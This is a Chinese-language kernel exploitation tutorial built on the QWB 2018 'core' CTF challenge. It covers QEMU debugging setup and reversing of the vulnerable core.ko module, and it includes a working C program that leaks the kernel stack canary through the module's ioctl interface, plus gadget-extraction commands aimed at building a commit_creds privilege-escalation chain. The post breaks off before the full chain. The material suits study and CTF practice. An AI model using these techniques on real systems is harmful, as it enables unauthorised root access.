【二进制漏洞-用户态视角理解内核ROP利用:快速从shell到root的进阶】此文章归类为:二进制漏洞。
本文仅限于快速从用户态向内核态入门,可能会有很多不严谨的地方,存在问题请及时告知感谢!本文旨在通过对比用户态 ROP 利用和内核 ROP 利用,揭示两者在利用手法上的相似性。通过分析用户态漏洞利用的流程,结合内核漏洞利用的特点,引导读者理解内核 ROP 利用的本质,从而更快地掌握内核漏洞利用技术。
本文主要是要为了帮助大部分人去克服学习内核利用Kernel_pwn前的枯燥无聊的前置知识的学习,虽然本文很长但是只需要跟着实际操作就可以快速学习完毕,本文直接以用户态和内核态的对比利用来讲解,在实际操作中讲解知识点,其实本文可以直接从这部分开始看:五、实战以强网杯2018 - core内核Pwn题
之后再回来看基础知识!学会如何进行Linux内核调试和驱动文件的漏洞挖掘!!!!
无论是在内核还是用户态中,漏洞利用的本质是通过构造特定输入,触发程序的异常执行路径。其核心逻辑包含三个必要要素:
攻击的终极目标是控制程序执行流。当攻击者能够通过漏洞改写EIP/RIP寄存器或劫持函数指针时,即可强制程序跳转至指定内存区域(如Shellcode或ROP链),最终实现代码执行。
当内存屏障竖起高墙,黑客如何让代码在荒漠中开花?(ROP(Return-Oriented Programming)的本质是一场精密的指令拼图游戏——从程序的废墟中挖掘代码片段(gadgets),通过栈指针的精准操控,让这些孤立指令像多米诺骨牌般连锁触发,最终突破系统的桎梏!
对比维度 | 用户态ROP | 内核态ROP | 核心共性 |
---|---|---|---|
控制流劫持目标 | 劫持进程控制流(如覆盖栈返回地址) | 劫持内核控制流(驱动或内核存在可以利用漏洞) | 均需通过漏洞(溢出、UAF等)劫持控制流 |
Gadget来源 | 用户态程序或动态库(如libc、libc.so) | 内核镜像或内核模块(如vmlinux、.ko文件) | 复用现有代码片段(Gadgets),绕过DEP/NX |
内存布局操控 | 覆盖用户栈/堆内存(如返回地址、函数指针) | 篡改内核栈/堆内存(如内核结构体、任务栈) | 需精确控制内存布局以链式调用Gadgets |
权限与上下文 | 用户态权限(Ring 3),遵循用户空间调用约定 | 内核态权限(Ring 0),需适配内核特权级上下文 | 上下文敏感设计(如寄存器状态、传参方式) |
对抗保护机制 | 绕过用户态ASLR、Stack Canary | 绕过内核态KASLR、SMAP/SMEP(若启用) | 依赖信息泄露获取基址,绕过随机化与检测机制 |
漏洞利用入口 | 常见于应用层漏洞(如栈溢出、格式化字符串) | 多通过系统调用接口(如ioctl、syscall)触发漏洞 | 利用程序逻辑缺陷或内存错误实现初始控制流劫持 |
攻击目标 | 执行Shellcode、劫持应用逻辑 | 实现内核代码执行、关闭安全机制、Rootkit植入、提权 | 最终目标均为实现非授权代码执行或权限提升 |
缓解措施 | DEP/NX、ASLR、Stack Canary | KASLR、SMAP/SMEP、KPTI、内核代码签名 | 均需结合硬件与软件防护机制抵御ROP攻击 |
关键差异总结:
swapgs
、sti
)。维度 | 用户态 | 内核态 |
---|---|---|
交互方式 | 通过开放端口、命令行参数等进程间通信 | 依赖系统调用(syscall)、驱动IOCTL接口等底层交互 |
地址空间 | 每个进程拥有独立的虚拟地址空间(受MMU隔离保护) | 所有进程,全局共享的内核地址空间(无隔离性) |
权限级别 | Ring 3,仅能访问受限资源 | Ring 0,可直接操作硬件和系统关键数据结构 |
保护机制 | ASLR、NX、Stack Canary等用户层防护 | Stack Canary、KASLR、SMEP(禁止内核执行用户页)、SMAP(禁止内核访问用户页)等硬件级防护 |
提权目标 | 获取进程权限(如启动/bin/sh) | 突破权限隔离,获取root或SYSTEM级特权 |
攻击脚本 | Python脚本(依赖进程交互接口) | 需编写C/汇编代码直接操作内核数据结构 |
struct cred
的uid/gid字段),或劫持系统调用表等核心结构,使攻击代码获得Ring 0的执行权限。swapgs
等指令绕过KPTI隔离,或构造ROP链规避SMEP/SMAP对用户空间内存的访问限制。1. 内核映像文件(如 vmlinuz)
内核映像文件是 Linux 操作系统的核心,包含内核代码和基本驱动。启动时,它被加载到内存中,解压后执行,负责初始化硬件、设置内存管理,并为用户空间准备环境。
2. Initrd/Initramfs
Initrd 和 Initramfs 是启动过程中的临时根文件系统,用于在挂载真实根文件系统前加载必需的驱动和工具。
QEMU 是一个开源模拟器,广泛用于虚拟化不同架构的操作系统。在启动 Linux 内核时,QEMU 通过 qemu-system-x86 命令初始化虚拟机环境。这一过程包括设置 CPU、内存和设备模拟,确保虚拟机能够运行目标操作系统。
内核加载与执行: QEMU 加载内核映像文件,通常为 bzImage(压缩的内核)或 vmlinux(未压缩的内核)。根据 QEMU 文档,用户可以通过 -kernel 选项指定内核文件路径。内核加载后,会自动解压(如果为 bzImage),然后开始执行,完成硬件初始化(如设置内存结构、加载驱动)。
Initramfs(Initial RAM Filesystem)是 Linux 启动过程中的临时根文件系统,通常以 initramfs.cpio 格式存在。根据 Gentoo Wiki,其主要目的是为内核提供一个最小化的用户空间环境,以加载必要的驱动和挂载真实根文件系统。
在 Initramfs 设置完成后,内核会启动 Initramfs 中的 /init 脚本,这是第一个用户空间进程。/init 脚本负责加载必要的内核模块(如 .ko 文件),挂载真实根文件系统,然后启动用户空间的初始化进程(如 systemd 或 shell),完成系统的全面初始化。,根据不同的构建方式shell脚本可以在不同位置。
阶段 | 主要动作 | 说明 |
---|---|---|
QEMU 启动内核文件 | 加载内核映像(如 bzImage),解压并执行 | 完成硬件初始化,准备后续步骤 |
Initramfs 处理 | 加载 initramfs.cpio,挂载为临时根文件系统 | 提供最小化环境,加载驱动和工具 |
用户空间初始化 | 执行 /init 脚本,挂载真实根,启动 systemd/shell | 完成系统初始化,进入用户 |
1.LKMs 的文件格式:
在linux里面查看该文件:
1 2 | ub20@ub20:~ /KernelStu/RunQemu $ file .. /CodeKernelDriver/hello .ko .. /CodeKernelDriver/hello .ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=6cc23340ffa46ada1c55861237166888e5676d |
文件格式:Linux:采用 ELF(Executable and Linkable Format)格式,后缀通常是 .ko(kernel object)。
LKMs 文件与ELF的区别:
LKMs(可装载内核模块)是什么?
定义:LKMs 是 Linux 内核支持的一种机制,允许在内核运行时动态加载或卸载功能模块,而无需重新编译或重启整个内核。它们是内核代码的扩展,通常用于添加设备驱动程序、文件系统支持、网络协议或其他功能。
特点:
与内核相关的Linux指令:
例题:强网杯2018 - core
依然是十分经典的kernel pwn入门题,内核入门题的老演员了!
点击下载-core.7z
WP:【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3's blog
1 2 | ub20@ub20:~ /KernelStu/KernelVuln/Kernel_ROP_basic/give_to_player $ ls bzImage core.cpio vmlinux start.sh |
1 2 3 4 5 6 7 8 | qemu-system-x86_64 \ -m 64M \ -kernel . /bzImage \ -initrd . /core .cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ -s \ -netdev user, id =t0, -device e1000,netdev=t0, id =nic0 \ -nographic \ |
这里的启动参数中包含:
1 | gunzip -c /home/ub20/KernelStu/KernelVuln/Kernel_ROP_basic/give_to_player/core.cpio | cpio -idmv |
这就是解压出来的文件系统core.cpio,就是一个Linux操作系统的文件目录结构里面有构建好的基础工具:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | ub20@ub20:~ /KernelStu/KernelVuln/Kernel_ROP_basic/tmp $ tree -d . ├── bin ├── etc # 系统配置文件(通常包含inittab、passwd等) ├── lib # 内核模块存储目录(注意权限位为755) │ └── modules │ └── 4.15.8 # 内核版本 │ └── kernel │ ├── arch │ │ └── x86 │ │ └── kvm │ ├── drivers │ │ ├── thermal │ │ └── vhost │ ├── fs │ │ └── efivarfs │ └── net │ ├── ipv4 │ │ └── netfilter │ ├── ipv6 │ │ └── netfilter │ └── netfilter ├── lib64 ├── proc # 进程信息虚拟文件系统 ├── root ├── sbin ├── sys ├── tmp └── usr ├── bin └── sbin |
解压后你会发现文件系统内的目录结构与标准 Linux 系统类似,主要目录包括:
lib/modules/4.15.8/
目录下包含当前内核版本的模块。/init
脚本内容,可以看见他的初始化脚本加载了哪些内核文件,和进行了什么操作有什作用:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms # 将内核符号表导出到 /tmp/kallsyms 文件,用于调试和分析 echo 1 > /proc/sys/kernel/kptr_restrict # 限制非特权用户访问内核符号地址 echo 1 > /proc/sys/kernel/dmesg_restrict # 限制非特权用户访问内核日志 ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 # 加载内核模块 core.ko insmod /core .ko poweroff -d 120 -f & # 在 120 秒后强制关机 setsid /bin/cttyhack setuidgid 1000 /bin/sh # 启动一个新的会话,并以 UID 1000 的用户身份运行 shell echo 'sh end!\n' # 打印 shell 结束信息 umount /proc umount /sys # 立即强制关机 poweroff -d 0 -f |
/proc/kallsyms
的内容复制到 /tmp/kallsyms
,攻击者可以轻松获取内核中所有函数的地址,对于构造 ROP 链至关重要。kptr_restrict
和 dmesg_restrict
,将内核符号信息暴露出来,从而降低了利用难度。insmod /core.ko
表明题目中真正存在漏洞的模块就是 core.ko
,后续的漏洞挖掘与利用将围绕此模块展开。在解压出来的文件系统中成功找到了core.ko内核文件:
1 2 3 | ub20@ub20:~ /KernelStu/KernelVuln/Kernel_ROP_basic/tmp $ checksec -- file =. /core .ko RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO Canary found NX disabled Not an ELF file No RPATH No RUNPATH 41 Symbols No 0 0 . /core .ko |
分析输出可以看出:
在深入分析驱动文件之前,掌握一些基础知识是至关重要的。本节将带领读者了解如何通过动静结合的方式对驱动文件进行逆向分析,重点讲解用户态与内核态的交互机制、关键内核函数的使用,以及如何通过调试工具对内核进行调试。
在Linux系统中,用户态程序与内核态驱动之间的交互通常通过系统调用实现。ioctl
是一个非常重要的系统调用,用于设备控制。它允许用户态程序向内核态驱动发送特定的控制命令,从而实现设备的管理和配置。
在一般系统调用就是通过系统调用号来实现,比如64
位下read
的系统调用号为0
。
/usr/include/x86_64-linux-gnu/asm/unistd_64.h
和/usr/include/x86_64-linux-gnu/asm/unistd_32.h
可以查看 64 位和 32 位的系统调用号。
系统调用:ioctl
在 Linux
系统中,几乎所有设备都被视为文件,这使得通过标准的文件操作(如 open
、read
、write
和 close
)来访问设备变得简单。然而,某些操作超出了这些标准接口的能力,需要一个更灵活的机制来处理设备特定的功能,这就是 ioctl
的用武之地。
ioctl
** 的功能**
ioctl
,用户空间程序可以发送控制命令给设备驱动程序,进行设备特定的操作,比如设置设备参数、查询设备状态等。ioctl
使得新设备可以通过定义新的请求码和操作接口来被支持,而不需要修改现有的系统调用。函数原型
在 C 语言中,ioctl
的原型如下:
1 | int ioctl( int fd, unsigned long request, ...); |
fd
:文件描述符,通常是通过 open()
函数获取的,用于指定要操作的设备。request
:请求的命令,通常是一个宏,定义了要执行的操作。...
:可选参数,具体取决于请求的类型,有时需要传递指向结构体的指针或其他参数。使用ioctl
1 2 | int fd = open("/dev/mydevice", 2);//在内核中攻击使用/proc/mydevice ioctl(fd, request_code, data) ; |
init_module
是 Linux 内核模块加载时的入口函数,负责:
了解 init_module
的实现可以帮助确定驱动的加载流程和初始化逻辑,并为后续的漏洞挖掘提供线索。
在内核驱动中,许多函数在系统稳定性与安全性上起着至关重要的作用。下面列举一些常见的函数:
dmesg
查看。利用 printk 可观察到模块加载、错误提示等信息。/proc
文件系统中创建条目,常用于调试和状态监控,逆向过程中可借助该接口了解驱动的运行状态。在 Linux 内核中,proc_create 是一个非常重要的函数,用于在 /proc 文件系统下创建新的文件条目。它通常用于内核模块或驱动程序开发,以便提供一种用户空间与内核空间交互的接口。下面我详细解释它的作用和用法。
1 2 3 4 5 | struct proc_dir_entry *proc_create( const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops); |
返回值: 返回一个指向 struct proc_dir_entry 的指针,表示创建的 proc 文件条目。如果创建失败,返回 NULL。
参数说明:
例题:强网杯2018 - core
依然是十分经典的kernel pwn入门题,用他来进行内核调试点击下载-core.7z
WP:【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3's blog
本部分将深入解析内核漏洞调试环境的构建方法,以强网杯2018核心赛题为例,演示完整的调试流程
我们使用以下C程序作为内核态数据探测工具,其核心功能是通过ioctl系统调用与内核模块交互,写了一个泄露内核Canary值的简单程序,编译好后直接传入虚拟机,之后执行即可获得,内核空间中Canary的值!仅本案例有效:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> void set_off_val( int fd, size_t off) { ioctl(fd, 0x6677889C, off); // 设置off变量的值 } void core_read( int fd, char *buf) { ioctl(fd, 0x6677889B, buf); // 读取内核数据 } int main() { int fd; char buf[0x50]; size_t canary; fd = open( "/proc/core" , 2); // 打开内核模块 if (fd < 0) { printf ( "Failed to open /proc/core\n" ); exit (-1); } // 获取Canary值 set_off_val(fd, 64); // 设置off变量的值为64 core_read(fd, buf); // 将指定内核地址的数据读取到buf中 canary = (( size_t *)buf)[0]; // 提取Canary值 printf ( "Canary: 0x%lx\n" , canary); // 输出Canary值 // close(fd); // 关闭文件描述符 // return 0; } |
需要在宿主机上,因为有汇编编译使用-masm
,而且要静态编译然后传入系统中进行执行:
1 | gcc ./exploit.c -o readcnary -static -masm=intel |
-static
:静态链接GLIBC,避免目标环境缺失动态库-masm=intel
:强制使用Intel语法汇编,便于逆向分析测试每个程序中系统系统调用函数的内核程序的Canary是否一直在变!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | [ 0.028291] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoe udhcpc: started, v1.26.2 udhcpc: sending discover udhcpc: sending select for 10.0.2.15 udhcpc: lease of 10.0.2.15 obtained, lease time 86400 / # ls bin etc init linuxrc root tmp core.ko exploit lib proc sbin usr dev gen_cpio.sh lib64 readcnary sys vmlinux / # ./readcnary Canary: 0xaf76f1ebf0270f00 / # ./readcnary Canary: 0x89249a9a92962200 / # ./readcnary Canary: 0xa5ffbdeedd11ca00 / # ./readcnary Canary: 0x94189ae9be09f100 / # ./readcnary Canary: 0x9b2b2aade4d17200 / # ./readcnary Canary: 0xad3d92bb20885400 / # ./readcnary Canary: 0xefe7982372614a00 / # ./readcnary Canary: 0x526467545afe5c00 / # ./readcnary Canary: 0x8966f8b8ae5d1200 / # ./readcnary Canary: 0x32a7cc02b5308400 |
现象分析:每次系统重启后Canary值随机变化,证明Canary的值会随机变化
修改init脚本实现调试增强:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | #!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev /sbin/mdev -s mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx cat /proc/kallsyms > /tmp/kallsyms # 将内核符号表导出到 /tmp/kallsyms 文件,用于调试和分析 echo 1 > /proc/sys/kernel/kptr_restrict # 限制非特权用户访问内核符号地址 echo 1 > /proc/sys/kernel/dmesg_restrict # 限制非特权用户访问内核日志 ifconfig eth0 up udhcpc -i eth0 ifconfig eth0 10.0.2.15 netmask 255.255.255.0 route add default gw 10.0.2.2 # 加载内核模块 core.ko insmod /core .ko #poweroff -d 120 -f & # 取消定时关机 # setsid /bin/cttyhack setuidgid 1000 /bin/sh # 启动一个新的会话,并以 UID 1000 的用户身份运行 shell setsid /bin/cttyhack setuidgid 0 /bin/sh # 这样就有Root权限了 echo 'sh end!\n' # 打印 shell 结束信息 umount /proc umount /sys # 立即强制关机 poweroff -d 0 -f |
关键修改说明:
/proc/kallsyms
导出后可通过grep core_copy_func /tmp/kallsyms
快速定位函数地址dmesg | grep vulnerability
追踪内核异常将前面编译好的readcnary可执行程序也传入里面,再将整个文件系统重新打包为core.cpio,在使用start.sh启动!
使用 QEMU 模拟内核环境,需关注内存分配、设备初始化及启动参数。下面是一个典型的 QEMU 启动脚本示例start.sh:
1 2 3 4 5 6 7 | qemu-system-x86_64 \ -m 512M \ -kernel . /bzImage \ -initrd . /core .cpio \ -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \ -netdev user, id =t0 -device e1000,netdev=t0, id =nic0 \ -nographic |
调试的时候我们可以先把kaslr关掉,这样就可以根据获取到函数的原始地址,后续再通过该值计算函数偏移
如果运行start.sh报错:
1 2 3 4 | 0.024687] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline 0.914765] Kernel panic - not syncing: Out of memory and no killable processes... 0.914765] 0.915174] Rebooting in 1 seconds.. |
说明:这个运行之后会报错,由于内存RAM分配不够,内存不足会导致启动错误,如 “Kernel panic - not syncing: Out of memory...”;适当调整内存参数是必需的。改为:-m 512M,1024M,2028M.....
1 2 3 4 5 6 7 8 | #!/bin/sh pwndbg -q -ex "target remote localhost:1234" \ -ex "add-symbol-file ./core.ko $1" \ -ex "b core_copy_func" \ -ex "b core_write" \ -ex "b core_ioctl" \ -ex "b* core_copy_func+0x3b" \ -ex "c" |
首先通过start.sh启动qemu,在启动start.sh,在进入qemu里面
准备开始调试:通过lsmod获取驱动基地址
有root权限就可以获取基址:
1 2 3 4 5 6 7 8 | [ 0.025516] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline udhcpc: started, v1.26.2 udhcpc: sending discover udhcpc: sending select for 10.0.2.15 udhcpc: lease of 10.0.2.15 obtained, lease time 86400 / # lsmod core 16384 0 - Live 0xffffffffc02dc000 (O) / # |
如果是非root权限就无法看见基地址全是0,如果是自己的驱动有可能是符号表未被加载,导致全0:
1 2 3 4 5 6 7 | [ 0.025516] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline udhcpc: started, v1.26.2 udhcpc: sending discover udhcpc: sending select for 10.0.2.15 udhcpc: lease of 10.0.2.15 obtained, lease time 86400 / # lsmod core 16384 0 - Live 0x0000000000000000 (O) |
获取到基地址就可以开始调试了:
,将得到的基地址传入gdb脚本的第一个参数即可!
启动gdb.sh
运行刚刚放入进去的可执行程序,就可以成功开启调试了
成功!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | ub20@ub20:~/KernelStu/KernelVuln/Kernel_ROP_basic/give_to_player$ bash ./gdb.sh 0xffffffffc0355000 Remote debugging using localhost:1234 warning: No executable has been specified and target does not support determining executable automatically. Try using the "file" command. 0xffffffff8fc6e7d2 in ?? () add symbol table from file "./core.ko" at .text_addr = 0xffffffffc0355000 (y or n) y Reading symbols from ./core.ko... (No debugging symbols found in ./core.ko) Breakpoint 1 at 0xffffffffc03550f6 Breakpoint 2 at 0xffffffffc0355011 Breakpoint 3 at 0xffffffffc035515f Breakpoint 4 at 0xffffffffc0355131 Continuing. Breakpoint 3, 0xffffffffc035515f in core_ioctl () (gdb) ni 0xffffffffc0355165 in core_ioctl () (gdb) |
A. 基本信息
B. 已启用的保护机制
C. 漏洞利用便利性
/proc/kallsyms
) 泄露,降低了KASLR的保护作用。core.ko
模块加载,攻击点主要集中在该模块。可以简单使用IDA查看一下core.ko的相关函数!如下图:
在 Linux 内核中,开发者可以通过加载模块的方式扩展内核功能。本文将介绍一个示例模块,其主要功能是在 /proc
目录下创建一个名为 core
的虚拟文件,通过对该文件的读写操作,实现内核数据与用户空间的交互。
1 2 3 4 5 6 7 8 9 10 11 | // 定义模块初始化函数,返回值类型为 64 位整数 __int64 init_module() { // 创建一个新的 proc 文件系统入口 core_proc = proc_create( "core" , 438LL, 0LL, &core_fops); // 打印内核日志信息 printk(&unk_2DE); return 0LL; } |
init_module() 是Linux内核模块的入口函数,当模块被加载(insmod)时会调用此函数。
proc_create("core", 438LL, 0LL, &core_fops):
core_fops 是一个struct file_operations结构体,定义了对/proc/core文件的操作方法。
1 2 3 4 5 6 7 8 9 | struct file_operations { struct module *owner; loff_t (*llseek) ( struct file *, loff_t, int ); ssize_t (*read) ( struct file *, char __user *, size_t , loff_t *); ssize_t (*write) ( struct file *, const char __user *, size_t , loff_t *); long (*unlocked_ioctl) ( struct file *, unsigned int , unsigned long ); int (*release) ( struct inode *, struct file *); // 其他字段... }; |
可以去这里看下详细数据:
1 2 3 4 | .data:0000000000000420 40 05 00 00 00 00 00 00 core_fops dq offset __this_module .data:0000000000000438 11 00 00 00 00 00 00 00 dq offset core_write .data:0000000000000468 5F 01 00 00 00 00 00 00 dq offset core_ioctl .data:0000000000000498 00 00 00 00 00 00 00 00 dq offset core_release |
从数据段来看,core_fops定义了以下几个字段:
当用户打开 /proc/core
文件进行操作(例如调用 write、read 等系统调用)时,内核会根据注册的 core_fops
结构体,转而调用上述各个函数,从而实现内核与用户空间的数据交互。
1 2 3 4 5 6 7 8 | __int64 __fastcall core_write( __int64 a1, __int64 a2, unsigned __int64 a3) { printk(&unk_215); if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) ) return a3; printk(&unk_230); return 4294967282LL; } |
该函数使用 copy_from_user
将用户空间的数据拷贝到内核变量 name
中,并在写入数据超出预期大小时打印错误信息。
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> int main() { int fd; char buf[0x50]; size_t canary; fd = open( "/proc/core" , 2); // 打开内核模块 if (fd < 0) { printf ( "Failed to open /proc/core\n" ); exit (-1); } rop_chain = "ROP" write(fd, rop_chain, 0x800); // 向bss段的name变量写入ROP链 return 0; } |
也就是说大我们使用open打开虚拟文件/proc/core
向这个文件进行操作的时候,比如调用write像这个fd进行操作的时候,会调用的不是系统默认的write函数,而是调用内核中注册的core_write函数进行操作!
这个函数的作用就是将内核态中的堆栈数据,泄露到用户态度内存环境中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | unsigned __int64 __fastcall core_read( __int64 a1) { char *v2; // rdi - 用于遍历和初始化数组的指针 __int64 i; // rcx - 循环计数器 unsigned __int64 result; // rax - 存储函数返回值 char v5[64]; // [rsp+0h] [rbp-50h] BYREF - 64字节的缓冲区 unsigned __int64 v6; // [rsp+40h] [rbp-10h] - 存储canary值,用于栈保护 // 读取当前线程的栈保护canary值 v6 = __readgsqword(0x28u); // 打印内核日志信息 printk(&unk_25B); printk(&unk_275); // 初始化v5数组,每4个字节置0 v2 = v5; for ( i = 16LL; i; --i ) { *v2 = 0; // 将当前指针指向的位置置0 v2 += 4; // 指针移动到下一个4字节位置 } // 将字符串拷贝到v5缓冲区 strcpy (v5, "Welcome to the QWB CTF challenge.\n" ); // 将v5缓冲区中的数据拷贝到用户空间 result = copy_to_user(a1, &v5[off], 64LL); // 如果拷贝成功,返回canary值的异或结果 if ( !result ) return __readgsqword(0x28u) ^ v6; // 交换GS寄存器,返回到用户空间 __asm { swapgs } return result; } |
通过 copy_to_user
将数据复制到用户提供的地址。来实现从内核态向用户态泄露数据的功能。
1 2 3 4 5 6 7 8 | __int64 exit_core() { __int64 result; // rax if ( core_proc ) return remove_proc_entry( "core" ); return result; } |
通过 exit_core
函数删除 proc 文件,完成模块卸载时的清理工作。
1 2 3 4 5 | __int64 core_release() { printk(&unk_204); return 0LL; } |
core_release
函数,当文件关闭时执行清理操作。
内核模块通过 core_ioctl
提供了三个主要操作,其命令码分别为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | __int64 __fastcall core_ioctl( __int64 a1, int a2, __int64 a3) { switch ( a2 ) { case 0x6677889B: core_read(a3); break ; case 0x6677889C: printk(&unk_2CD); off = a3; break ; case 0x6677889A: printk(&unk_2B3); core_copy_func(a3); break ; } return 0LL; } |
core_copy_func
,触发栈溢出漏洞。core_read
,允许从内核栈上读取数据,进而泄露敏感数据(如 canary)。off
,影响 core_read
中数据的偏移。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | unsigned __int64 __fastcall core_read( __int64 a1) { char v5[64]; // 64 字节缓冲区 unsigned __int64 v6; v6 = __readgsqword(0x28u); // 读取当前线程的 canary // 打印内核日志信息 printk(&unk_25B); printk(&unk_275); // 初始化 v5 数组 for ( i = 16LL; i; --i ) *v2 = 0, v2 += 4; // 将固定字符串拷贝到 v5 中 strcpy (v5, "Welcome to the QWB CTF challenge.\n" ); // 根据 off 变量,从 v5 中拷贝 64 字节数据到用户空间 result = copy_to_user(a1, &v5[off], 64LL); // 若拷贝成功,返回两个 canary 异或的结果 if ( !result ) return __readgsqword(0x28u) ^ v6; __asm { swapgs } return result; } |
__readgsqword(0x28u)
后被放在栈上 ,并利用 copy_to_user
将栈上数据(从偏移 off 开始)传递给用户。off
为 64,即可以精确控制读取的偏移,从而将 canary 的值泄露给用户空间。1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | __int64 __fastcall core_copy_func( __int64 a1) { __int64 result; _QWORD v2[10]; // 局部数组,位于栈上 // 将 GS 寄存器偏移 0x28 的值读入,常用于栈保护(canary) v2[8] = __readgsqword(0x28u); // 打印调试信息 printk(&unk_215); // 对拷贝长度进行判断,若大于 63 则报错 if ( a1 > 63 ) { printk(&unk_2A1); return 0xFFFFFFFFLL; } else { result = 0LL; // 将 bss 段上存储的 name 数据拷贝到栈上 v2 数组中, // 拷贝长度由 a1 指定,类型转换为 unsigned __int16 qmemcpy(v2, &name, (unsigned __int16 )a1); } return result; } |
漏洞点:
v2
(大致 80 字节)上,从而造成严重的栈溢出。name
,可控性较强,攻击者可以预先构造合适的数据以辅助 ROP 链的构造。在用户态,我们通常利用ROP(Return Oriented Programming)绕过 NX 保护,通过精心构造的 ROP 链控制代码执行,实现权限提升或执行任意命令。在内核态,ROP 的利用方式与用户态类似,但会有一些概念上的区别。
传统的用户态ROP利用是通过:寻找程序存在的漏洞,进行信息泄露,绕过保护机制Canary和aslr,ROP链构造,寻找溢出漏洞,写入ROP链,来执行system("/bin/sh")
调用直接获取用户层Shell,核心是用户空间权限的横向扩展。
内核态ROP:需调用commit_creds(prepare_kernel_cred(0))
完成提权到root,核心是内核态权限的纵向突破
如何获取和使用 Gadgets:
1.使用 ropper
提取 Gadgets
安装完成后,你可以使用 ropper
从 vmlinux
镜像中提取 gadgets,并将结果保存到 gadgets.txt
文件中:
1 | ropper -- file vmlinux --all > gadgets.txt |
2.使用 ROPgadget
提取 Gadgets
你也可以使用 ROPgadget
工具来提取 gadgets,命令如下:
1 | ROPgadget --binary . /vmlinux > gadgets1.txt |
3.注意事项
vmlinux
文件:如果你发现使用赛方提供的 vmlinux
文件提取的 gadgets 不准确,建议使用从 bzImage
提取的 vmlinux
文件。vmlinux
:你可以使用 extract-vmlinux
工具从 bzImage
中提取 vmlinux
文件:1 | . /extract-vmlinux . /bzImage > vmlinux |
根据前面对驱动文件的逆向分析,我们可以很快的想到泄露Canary值和函数地址偏移的方法!直接得到两个exp!
下面这个是泄露Canary值的exp.c脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> void set_off_val( int fd, size_t off) { ioctl(fd, 0x6677889C, off); // 设置off变量的值 } void core_read( int fd, char *buf) { ioctl(fd, 0x6677889B, buf); // 读取内核数据 } int main() { int fd; char buf[0x50]; size_t canary; fd = open( "/proc/core" , 2); // 打开内核模块 if (fd < 0) { printf ( "Failed to open /proc/core\n" ); exit (-1); } // 获取Canary值 set_off_val(fd, 64); // 设置off变量的值为64 core_read(fd, buf); // 将指定内核地址的数据读取到buf中 canary = (( size_t *)buf)[0]; // 提取Canary值 printf ( "Canary: 0x%lx\n" , canary); // 输出Canary值 // close(fd); // 关闭文件描述符 // return 0; } |
利用的原理也很简单,通过set_off_val设置off变量的值为64,这个偏移正好就可以让core_read函数读取到内核空间中Canary的值!从而能够成功泄露Canary!!
64这个偏移是如何计算出来的可以通过gdb调试内核来手动定位:
想查看内部的细节可以直接在这个函数的位置下个断点,然后进入直接调试!计算Canary的偏移
调试脚本:
1 2 3 4 5 | #!/bin/sh gdb -q -ex "target remote localhost:1234" \ -ex "add-symbol-file ./core.ko $1" \ -ex "b* core_read+0xcc-0x63" \ -ex "c" |
查看内容!
成功计算出偏移地址是64,所以可以调用驱动中的core_read来读取Canary的值,从而来绕过栈溢出保护!
首先启动qemu获取未开启内核地址随机化的时候的函数真实地址:
1 2 3 4 5 6 7 | [ 0.026329] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline udhcpc: started, v1.26.2 udhcpc: sending discover udhcpc: sending select for 10.0.2.15 udhcpc: lease of 10.0.2.15 obtained, lease time 86400 / $ cat /tmp/kallsyms | grep "commit_creds" ffffffff92a9c8e0 T commit_creds |
之后就可以手戳出来一个泄露内核任意函数和gadget的exp!!!
